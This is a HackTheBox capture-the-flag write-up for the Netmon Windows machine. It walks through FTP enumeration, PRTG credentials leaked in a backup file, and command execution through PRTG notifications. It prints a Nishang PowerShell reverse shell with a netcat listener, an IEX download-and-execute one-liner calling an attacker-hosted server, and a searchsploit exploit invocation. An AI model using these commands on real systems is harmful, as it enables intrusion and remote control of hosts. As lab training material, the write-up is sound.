> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/netmon-hackthebox-writeup.md). # Netmon HackTheBox Writeup Netmon HackTheBox Easy Windows machine writeup covering FTP enumeration, Information leakage, PRTG Network Monitor credential disclosure, PRTG notification command execution, with practical enumeratio {% embed url="" %} {% hint style="warning" %} **Skills:** * FTP enumeration * Information leakage * PRTG Network Monitor credential disclosure * PRTG notification command execution * PowerShell reverse shell delivery {% endhint %} ## Reconnaissance Create the workspace and run the full TCP scan: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.152 -oG allPorts ```
Run the targeted service scan: ```bash nmap -sCV -p21,80,135,139,445,5985,47001,49664,49665,49666,49667,49668,49669 10.10.10.152 -oN targeted ```
## FTP Enumeration FTP allows anonymous access.
The user flag is readable through FTP in the user desktop path.
## PRTG Network Monitor Port 80 exposes a **PRTG Network Monitor** web interface.
Review the configuration directory: ``` ProgramData/Paessler/PRTG Network Monitor/ ```
The backup configuration file leaves credentials: ``` PRTG Configuration.old.bak ```
Recovered credentials: * Username: `prtgadmin` * Password: `PrTg@dmin2018`
Because the file is an old backup, test the updated year in the password. Access is valid with: ``` PrTg@dmin2019 ```
## PRTG RCE PRTG notifications can execute commands on the server. Use a hosted PowerShell reverse shell script and trigger it through a notification action. {% embed url="" %} Download and prepare the PowerShell payload: ```bash wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1 echo 'Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.13 -Port 443' >> Invoke-PowerShellTcp.ps1 python3 -m http.server 80 ``` Start a listener: ```bash rlwrap nc -nvlp 443 ``` In PRTG, go to `Setup > Account Settings > Notifications` and create a notification action that downloads and executes the hosted script.
Command pattern: {% code overflow="wrap" %} ```powershell abc.txt | powershell -Command "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.13/Invoke-PowerShellTcp.ps1')" ``` {% endcode %} If the download callback reaches the HTTP server but the shell does not return, encode the PowerShell script as UTF-16LE Base64 and execute it with `-enc`: ```bash iconv -f UTF-8 -t UTF-16LE Invoke-PowerShellTcp.ps1 | base64 -w 0 > encoded_script.txt ``` ```powershell abc.txt | powershell -enc ``` ## Automated Exploit Path SearchSploit includes a PRTG exploit that creates a new administrative user when provided with a valid authenticated cookie. ```bash searchsploit -m windows/webapps/46527.sh ``` Run the exploit with the target URL and session cookie: {% code overflow="wrap" %} ```bash ./prtg-exploit.sh -u http://10.10.10.152 -c "OCTOPUS1813713946=ezUwMjVCREI0LUMxNjUtNDIwNi04N0M2LUJFOTEyN0I3MjY2Q30%3D" ``` {% endcode %} The exploit creates: * Username: `pentest` * Password: `P3nT3st!`
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/netmon-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.